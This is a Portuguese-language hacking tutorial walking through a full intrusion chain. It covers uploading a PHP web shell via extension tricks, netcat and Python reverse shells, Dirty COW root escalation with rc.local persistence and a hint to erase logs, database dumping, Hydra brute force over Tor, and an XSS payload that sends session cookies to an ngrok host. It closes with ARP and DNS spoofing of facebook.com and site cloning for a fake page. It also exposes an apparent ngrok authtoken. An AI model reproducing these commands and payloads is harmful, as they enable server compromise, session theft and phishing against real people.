Após conseguirmos um certo acesso ao servidor web, faremos um upload via shell no mesmo. Isso mostra como arquivos maliciosos são enviados para um servidor desprotegido.
Vamos acessar a página de administração do site do seu navegador. Sabemos já o login e a senha do mesmo. Podemos fazer o upload de uma página graficamente dentro do site,
Indo no inspecionar elemento do navegador, podemos ver o caminho no qual está a imagem. Se a pasta da imagem estiver algo como /admin/upload, tente acessar a mesma através do navegador, se ela estiver desprotegida, podemos ver os arquivos dela dentro do servidor.
No caso, vamos tentar upar um arquivo que não seja imagem (ou seja, que não deveria ser upado), como um arquivo php, que pode conter inclusive código malicioso.
Crie um arquivo PHP qualquer com algo simples de PHP, o arquivo pode ter por exemplo, a função phpinfo() para descobrirmos coisas como o sistema operacional, caminho do kernel, etc., usaremos ele nos próximos exemplos. Tente fazer o upload dele no servidor de fotos, ele não permitirá caso tenha alguma proteção. Podemos então mudar a extensão para jpg pra ver se ele upa esse arquivo. Se não for, podemos fazer então com extensão dupla, no caso .jpg.php. O que vale mesmo é a segunda extensão, mas o servidor pode identificar a primeira. Podemos também mudar a extensão para php5 ou php7. Se o upload for sucessivo, podemos acessar a página pelo diretório do servidor.
Vamos criar um arquivo "malicioso" em PHP para uparmos pro servidor, com esse código:
<?php
echo shell_exec($_GET["c"]);
/*
Pra entendermos, a função shell_exec() executa
um comando do shell do servidor, como por exemplo
shell_exec("ls"). No caso passamos como parâmetro um
$_GET["c"] que permitirá que passemos um parâmetro pela URL.
*/
Podemos então passar pela URL, comandos Linux como ls, pwd e até mesmo tentar ver o conteúdo PHP usando cat arquivo.php5 (nem sempre funciona). Uma dica é olhar a pasta /var, onde geralmente fica o servidor PHP em sistemas Linux.
Mas como é chato usar pela URL, podemos então fazer uma shell reversa e acessarmos pelo terminal. Para fazermos uma shell reversa, abra dois terminais, no primeiro você escuta uma porta pelo Netcat (como por exemplo a 666) digitando nc -lvp 666.
No segundo shell, digite nc 127.0.0.1 666 para enviarmos dados pro primeiro shell, digite qualquer coisa no segundo pra vermos se aparece no primeiro. Também podemos escrever algo no primeiro que aparecerá no segundo (ou seja, o que se escreve em um aparece em outro.
No segundo shell, digite nc 127.0.0.1 666 | /bin/ls | nc 127.0.0.1 666 (o caminho completo do programa ls). Veremos que ele aparecerá no primeiro shell o comando. Podemos executar o bash do Linux no primeiro pelo segundo (ou seja, um shell dentro do outro), digitando nc 127.0.0.1 666 | /bin/bash | nc 127.0.0.1 666, isso fará abrir o shell do primeiro dentro do segundo. Opcionalmente, podemos utilizar ncat 127.0.0.1 666 -e /bin/bash.
PS: O exemplo acima é pra fazer no mesmo computador, mas podemos fazer o teste com dois computadores diferentes, usando o IP deles.
Para fazermos o mesmo com o site, primeiramente entre nesse site e pegue o IP público do seu computador: https://www.meuip.com.br/
Para funcionar precisaremos abrir a porta especificada no roteador. Para isso vá em "Redirecionar Portas" e coloque as opções TCP/UDP, porta externa como 666, porta interna como 666, IP externo em branco. IP interno como 192.168.15.3 (o IP privado do seu computador). Pra testar o acesso as portas, use esse site: https://canyouseeme.org/
PS: Pode ser necessário abrir as portas no Firewall, tanto do roteador quanto do sistema.
Reinicie o primeiro shell e execute novamente nc -lvp 666. Passe pela URL do site o comando com seu IP e porta (nc 187.74.177.121 666). A conexão deve cair, mas o IP verdadeiro do site (e não do Cloudflare) deve ser revelado.
PS: A opção -e no Netcat permitiria entrar no bash do servidor, mas isso é desabilitado por padrão em servidores por proteção, mas tem como burlar isso. Para isso vá nesse site: https://tiagosouza.com/reverse-shell-cheat-sheet-bind-shell/
Nesse site, pegaremos o exemplo em Python e copiaremos ele, só basta mudar onde está o IP interno (s.connect(("10.0.0.2", 1234)) e coloque o seu IP externo e a porta 666.
Nesse caso acessaremos o shell do servidor pelo nosso terminal. O usuário padrão do apache é o www-data, mas ele não tem permissão de root e por isso é bastante limitado. Mas dependendo do que você conhece de Linux, podemos mudar permissões de arquivos, modificá-los e deletá-los.
Anteriormente, fizemos a invasão do site usando uma web shell. Após fazermos o upload do shell e escutarmos ele pelo nosso terminal, conseguiremos abrir o shell do servidor no nosso computador. Ele não tem acesso tty, que significa que ele é limitado, mas podemos fazer algumas coisas com ele. Para abrir uma shell tty com mais recursos, pegue esse comando e cole no terminal:
python -c "import pty; pty.spawn('/bin/bash')"
Isso é a post exploration (pós-exploração), aí podemos dar comandos linux, como por exemplo whoami e ls. Podemos por exemplo, dar um cat nos arquivos PHP e ver seu código. Podemos dar ls -l pra ver as permissões. Outras explorações, como arquivos de configuração ini, podem também ser exploradas.
Procure o arquivo PHP de conexão ao SQL (como db.php, pode estar em pastas como a classes), onde veremos dados como o nome do banco, senha do banco (e não do usuário), entre outros informações. Podemos entrar no MySQL digitando mysql -u nomedousuario -p, caso peça senha, ela está no arquivo que acabamos de olhar.
Aí nesse caso, podemos executar comandos SQL, como esses:
show databases;
use nomedobanco;
show tables;
select * from nomedatabela;
-- Tente outros comandos SQL, inclusive de insert, update e delete.
Saia do shell do MySQL e tente dar um dump na tabela, digitando mysqldump -u nomedousuario -p nomedobanco --single-transaction > dump.sql. O arquivo estará na pasta especificada e poderá ser baixado.
No caso da senha estar criptografada, provavelmente ela é um hash, de tipos como MD5, SHA-1 e SHA-256. Podemos descobrir o provável tipo do hash usando o programa hashid, como por exemplo hashid 202cb962ac59075b964b07152d234b70.
Basicamente a senha passa por um algoritmo matemático e vira um hash, e qualquer mudança nele por mínima que seja, gerará outro hash totalmente diferente. Um hash não pode ser revertido, mas podemos verificar se o significado dele existe numa rainbow table, como esse site: https://hashes.com/
Dois riscos comuns a hashs são a colisão (onde dois textos planos diferentes tem o mesmo hash de saída), o bruteforce (que testa várias combinações até achar a certa) e o ataque de dicionário (que tenta várias palavras até achar a certa). Por isso devemos usar senhas mais difíceis, que serão menos prováveis a ataques de bruteforce e dicionário. Algumas das ferramentas para quebra de senhas são o John, o Hydra e o Hashcat.
Hashs também são usados para verificar integridade de arquivos, com a mesma lógica, qualquer alteração gera um hash totalmente diferente. Um arquivo de texto com a senha 123 não gerará o mesmo hash da senha 123, no entanto, podemos verificar o hash do texto do arquivo digitando echo -n senha | md5sum.
Linux Privilege Escalation é nada mais que termos privilégios administrativos num servidor. Para nossos próximos passos, vamos usar outro site, que é esse: https://dirtycow.ninja/
Caso o servidor esteja vulnerável, podemos conseguir acesso root nele. O site acima lista os kernels vulneráveis no Linux, além de disponibilizar exploits para atacar os mesmos. O exploit que vamos usar é o cowroot.c, disponível no Github do mesmo. O programa é feito em C e precisa ser compilado, compile ele no seu Linux (o comando é gcc cowroot.c -o cowroot -pthread). Basicamente ele inserirá um código da memória do computador a ser invadido e nos dará o acesso root.
PS: O Arquivo tem um array de char comentado e descomentado, um é pra 32 bits e outro pra 64 bits. Verifique qual será necessário usar para invadir o outro computador.
Para passar o arquivo para o outro computador, escutamos no nosso computador a porta especificada pelo netcat (como nc -lvp 666). No computador a ser invadido, digite nc 0.0.0.0 666 > saida (substituindo pelo IP do seu computador, ele escreverá a saída num arquivo) pra enviar a resposta pra nós. Talvez seja necessário usar uma porta conhecida, como a 443 ou a 80.
No computador predador, digite nc -lvp 666 < cowroot, para enviar o programa para o servidor. No servidor, digite nc 0.0.0.0 666 > cowroot para ele receber o arquivo. Para vermos se o arquivo foi transmitido integralmente, podemos ver o hash dele em ambos os sistemas. Execute o programa no servidor (antes dê permissão de execução para ele). Ele dará a permissão de root para nós.
O problema é que o sistema trava depois de um tempo, para burlarmos isso, vamos no arquivo /etc/rc.local no servidor e copiamos ele para o home do servidor. Qualquer comando colocado nesse arquivo será executado na inicialização do computador (se não existir, podemos criar esse arquivo). Vamos no site lá de shell reverse e colar aquele mesmo programa em Python nesse arquivo, mudando o IP e a porta, antes do "exit 0".
Para ele enviar o arquivo rc.local para o /etc, no home faça esse programa em BASH:
mv rc.local /etc/rc.local
chmod 755 /etc/rc.local
chown root:root /etc/rc.local
PS: O script acima pode ser melhorado, para excluir histórico do BASH, logs e etc.
Dê permissão de execução pro script e pro cowroot, execute o cowroot e depois o script, dê o reboot e espere ele reiniciar. Quando ele reiniciar, o computador predador, que estava ouvindo a porta pelo Netcat, estará logado no servidor como root, e fazermos tudo que for preciso.
Agora vamos tentar encontrar outro servidor na mesma rede do computador invadido. Mesmo conseguindo acesso root ao servidor, não temos todos os privilégios por não ser tty, para isso basta usar aquele código Python acima.
Agora temos o acesso root, podemos dar comandos de redes como ip addr show, ip route ou até mesmo fazer um scan, mas os servidores não costumam ter o Nmap instalado. Com isso podemos ver outros dispositivos na rede local.
No servidor podemos encontrar na pasta /root o arquivo key.pem, que é usado para conexões SSH, podemos olhar também as crontabs, que é um arquivo que podemos especificar rotinas para o Linux executar, como o de um back-up, para usar ele digite crontab -u nomedousuario -l. Podemos ver inclusive o do root, caso ténhamos privilégio.
Caso encontre outra máquina, podemos dar um ping no IP dele, ou usar o Netcat digitando nc 10.0.0.65 22. Nesse caso, vemos se tem o serviço SSH rodando, e a partir daí tentamos conectar ao SSH digitando ssh nomedousuario@10.0.0.65 -i key.pem.
Numa empresa, sempre teremos acesso a outros dispositivos na mesma rede, porque vai ter rotinas de back-up, compartilhamento de arquivos, servidores FTP, SSH, computadores Windows vulneráveis, etc.
Vamos nesse site para testarmos uma invasão SSH: https://overthewire.org/wargames/bandit/
Escolha o Nível 0, primeiramente. E digite esses comandos:
ssh bandit0@bandit.labs.overthewire.org -p 2220
Coloque a senha bandit0
e no diretório home, leia o arquivo readme
para pegar a próxima senha.
Vá subindo de nível até chegar no último. Isso é bom pra exercitarmos comandos do Linux.
Conecte no nível 1 (da mesma forma, substituindo o bandit0
por bandit1
e usando a senha do arquivo readme
visto em bandit0.
Da mesma forma, pegue a senha do nível 2 no arquivo chamado -
(para isso, use o comando cat ./-).
Vá pro nível 2, da mesma forma. Veja o arquivo com espaços no home, usando as contrabarras antes do espaço pra podermos pegar a senha.
Vá pro nível 3, entre na pasta inhere
e dê o comando ls -la, para visualizarmos o arquivo .hidden
com a senha (arquivos ocultos no Linux começam com um ponto).
Vá pro nível 4, da mesma forma entre na pasta inhere e digite esse comando para vermos os programas:
cat ./-file00 ./-file01 ./-file02 ./-file03 ./-file04 ./-file05 ./-file06 ./-file07 ./-file08 ./-file09
Como é um arquivo não legível por humanos, ele mostrará vários caracteres não imprimiveis. A senha é a que está com algo tipo koReBOKuIDDepwhWk7jZC0RTdopnAYKh com 32 caracteres (basta apenas usar o comando echo -n "koReBOKuIDDepwhWk7jZC0RTdopnAYKh" | wc -c para ver isso).
No nível 5, procure um arquivo legível por humanos, de 1033 bytes e não executável. Na pasta inhere, digite esses comandos:
find -size 1033c -readable
cat ./maybehere07/.file2
Pegue a senha e vá pro nível 6. Vá avançando até chegar ao fim.
Vamos analisar o seguinte link, por exemplo: http://testphp.vulnweb.com/login.php
Vamos ver o código-fonte da página para vermos os nomes dos inputs de usuário e senha no formulário de login. Veremos por exemplo, que o dados serão enviados via POST e os inputs de login e senha são, respectivamente, uname
e pass
.
Vamos realizar um login errado
para vermos o comportamento do site.
Para realizar o ataque, podemos fazer esse comando aqui:
sudo hydra testphp.vulnweb.com http-form-post "/userinfo.php:uname=^USER^&pass=^PASS^:login page" -l test -P wordlist.txt -t 10
No caso acima, colocamos a página para a qual o action
redireciona. ^USER^ é substituído pelo login especificado e ^PASS^ é substituído pela senha especificada. o login page
é um parâmetro de erro que pode ser qualquer coisa.
Como sabemos, o -l e -p minúsculo são nomes específicos de login e senha, enquanto -L e -P maiúsculos são de wordlists. O número são as quantidades de requisições.
Nesse caso teremos obtido a senha, e podemos logar no mesmo.
Primeiramente, caso não esteja no Kali, instale os programas digitando sudo apt install tor proxychains.
Abra o editor como administrador no arquivo localizado em /etc/proxychains.conf, remova o comentário da linha dynamic_chain e comente a linha strict_chain. Assim ele conecta a uma lista de proxies em ordem, quando um deles estiver offline. Comente a linha socks4 e adicione no final do arquivo a linha socks5 127.0.0.1 9050.
Inicie o serviço tor com o comando sudo service tor start. Vamos realizar alguns testes com o ProxyChains, usando o comando proxychains firefox e entrando num site de ver IP pra ver se ele mudou mesmo.
Sabendo da lógica, podemos usar isso para utilizar quaisquer ferramenta de ataque ou análise, como o Nmap ou o Hydra. Veja um exemplo de uso:
proxychains hydra -l nomedousuario -P wordlist.txt nomeouipdoalvo.com ssh
Quando o conteúdo do parâmetro da URL não filtra os dados, ele permite execução de códigos Javascript diretamente na página, os ataques em XSS se baseiam nisso daí.
Como sabemos, é só passar num parâmetro algum código em linguagens clientes, como HTML ou Javascript, como por exemplo <script>alert("XSS")</script>, se o código executar, o site está vulnerável. Se conseguirmos, por exemplo, guardar esse código num banco de dados do site, podemos inclusive fazer um XSS persistente, que sempre será executado ao ser acessado.
Podemos por exemplo, pegar o cookie de sessão para logarmos numa conta de um determinado site sem precisar da senha.
No nosso site vulnerável, coloque por exemplo no link: <script>alert(document.cookie)</script>. Ele retornará o cookie do documento (que pode estar vazio). Podemos ver que é o mesmo valor indo nas ferramentas do navegador, em Armazenamento e Cookies. Veremos se ele tem a opção HttpOnly como true
, que indicará se ele poderá ser extraído por outros sites ou pelo Javascript.
Logue no site e veja se ele criará um cookie para isso. Ele terá no caso, o nome PHPSESSION, e o HttpOnly, caso esteja como false
, poderemos extrair ele pelo Javascript. Rode o comando com o document.cookie
novamente e veja se ele retorna algo como PHPSESSID=014on0ktebfr8teoit0r44dgl0. Caso ele retorne, podemos roubar a sessão de login dessa mesma conta.
No caso, usaremos um parâmetro src na tag script para referenciarmos o código Javascript que inseriremos no site. Caso ele não esteja configurado para bloquear, será possível fazer esse ataque. Veja mais sobre isso nesse site https://owasp.org/www-project-secure-headers/#div-headers
Para verificar se existe um desses headers
no site, abra a ferramenta de desenvolvedor do navegador, carregue a página e vá até na opção headers e procure a opção script-src
.
Para criar um servidor no nosso computador, basta digitar no terminal python3 -m http.server e utilize o link para acessar esse servidor (como por exemplo, http://0.0.0.0:8000/, no próprio navegador). Ele rodará o servidor a partir da pasta na qual o terminal está. Na mesma pasta, crie um arquivo js para colocar nosso código, que por enquanto será um simples alerta para testar o programa.
PS: Caso você tenha algum bloqueador de anúncios no navegador, desative ele, pois eles bloqueiam esses tipos de scripts, o mesmo vale para extensões como "NoScript". Ele costuma dar outros problemas dependendo das configurações do navegador, nesse caso abra uma janela privada ou tente outro navegador.
Só que esse programa só rodará na nossa rede local, para colocarmos num site externo, precisaremos de uma ferramenta chamada Ngrok. Instale ela no Linux. E vá nesse site e crie uma conta: https://dashboard.ngrok.com/get-started/your-authtoken
Execute o token de autenticação desse link acima colando no terminal ngrok config add-authtoken 2WuSL5sulv2PLVx84eSXZ2DFnTQ_6p9RX5ute9tR1JZw9S1N8. Depois digite o comando ngrok http 8000. Basta copiar o link dentro do site em Endpoints (como por exemplo https://6cd2-2804-431-c7e4-3aac-c445-a16a-9c2e-5792.ngrok.io/ataque.js) e ele estará com nosso diretório disponível, com o arquivo js criado por nós. Não esqueça de manter o servidor Python ativo.
No caso, no Javascript, deixaremos apenas esse código:
new Image().src = "https://3b42-2804-431-c7e4-3aac-c445-a16a-9c2e-5792.ngrok.io/?" + document.cookie; // Não esqueça da interrogação
location = "/"; // Redirecionamento ao index
Dessa forma, obteremos o cookie através do link em qualquer local no mundo.
Para logar, basta ir nas ferramentas do navegador, e no Armazenamento, basta colocar o valor roubado
no cookie PHPSESSIONID e recarregar a página que será logado.
PS: Caso seja necessário, use a mesma lógica do SQL Injection para inserir o código Javascript no site, colocando algo na url como -1 union select 1, 2, '<script>alert(document.cookie)</script>';--.
Um pacote de ferramentas que podemos usar no Kali são os pacotes do Dsniff, que contém vários programas úteis para invasão. Caso não esteja no Kali, baixe as ferramentas digitando sudo apt install dsniff.
Podemos digitar simplesmente (como root), macof no terminal, que fará o switch da sua rede ter sua tabela CAM inundada
com MACs aleatórios, de forma que ele funcione como um hub. Não é obrigatório usar esse programa para fazer o ARP Spoofing, mas isso acelerará o processo um pouco em redes que utilizam switches.
Os ataques de ARP Spoofing consistem em adicionar/substituir na tabela ARP da máquina-alvo uma entrada que diz IPDAMÁQUINALVO <===> MACDOATACANTE. Com isso, quando a máquina alvo for montar o pacote para envio ela montará com o IP real do servidor de destino que ela quer acessar, porém utilizará o endereço MAC do atacante, ou seja, quando este pacote passar pelo switch, o mesmo encaminhará o pacote para o atacante, no caso você. Veja um exemplo de uso, na sintaxe arpspoof -i INTERFACE -t IPDOALVO IPQUESEUALVOVAIMAPEARPARASEUMAC:
arpspoof -i eth0 -t 192.168.15.3 192.168.15.1 # O segundo IP é do gateway padrão da rede
No exemplo acima o IP 192.168.15.3 vai adicionar/atualizar a sua tabela ARP com os novos dados. Para ser 100% funcional é preciso fazer o mesmo para o segundo IP e habilitar o encaminhamento de pacotes na sua máquina, com isso o tráfego entre tais hosts passará por você e você poderá sniffar ou fazer ataques de Man In The Middle. Para isso, abra um terminal e habilite o encaminhamento com esse comando:
echo "1">/proc/sys/net/ipv4/ip_forward
Agora faça o ARP spoofing, onde o IP final 3, quando se comunicar com o gateway, ele na verdade vai encaminahr os pacotes para o PC do atacante, no caso o seu.
arpspoof -i eth0 -t 192.168.15.3 192.168.15.1
E em outro terminal, informa que quando o gateway (final 1) se comunicar com o IP 3 na verdade ele irá encaminhar os pacotes para o PC do atacante (ou seu):
arpspoof -i eth0 -t 192.168.15.1 192.168.15.3
Com isso já seremos capaz de sniffar o tráfego da vítima ou até mesmo fazer um MITM.
Caso não esteja no Kali, instale o programa com o comando sudo apt install ettercap-text-only. Para saber mais sobre a versão e outras informações, digite dpkg -l ettercap.
Agora iremos spoofar o DNS da rede, fazendo com que todas as requisições aos sites informados nos navegadores passem por dentro do nosso servidor.
Vamos localizar o arquivo etter.dns, este arquivo irá conter todos os sites que desejamos assumir
como sendo o original. A partir disso qualquer navegador que tentar acessar o site configurado dentro do arquivo informado, será redirecionado para a página fake, redirecionando para outra.
Digite esses comandos:
updatedb
locate etter.dns
vim /etc/ettercap/etter.dns
Para que possamo configurar o etter.dn teremos que entender o funcionamento do arquivo de configuração. A configuração do arquivo é dividido em 3 partes: Nome do endereço, tipo de resource records (RRs) e endereço IP. No nome de endereço iremos definir quais sites serão redirecionados, no resource records vamos coolocar o mapeamento de nome a endereço (no caso, IPv4 usa o A, e IPv6 o AAAA, e o PTR para mapeamento reverso, o mapeamento de um IP para um nome), e no endereço IP colocaremos o IP para o qual redirecionar (no caso onde estará hospedada a página falsa), por exemplo:
facebook.com A 192.168.15.4
*.facebook.com A 192.168.15.4
www.facebook.com PTR 192.168.15.4
Para iniciar digite no terminal:
ettercap -T -q -M arp -i eth0 -P dns_spoof ///
Ao executar o comando acima, você irá fazer um spoof na rede toda, assim todos que quiserem acessar o site do Facebook não irão conseguir, daí podemos configurar um site fake para isso.
Podemos clonar um site com a ferramenta HTTrack, digitando no terminal, dentro de uma pasta criada, o comando httrack http://nomedosite.com/.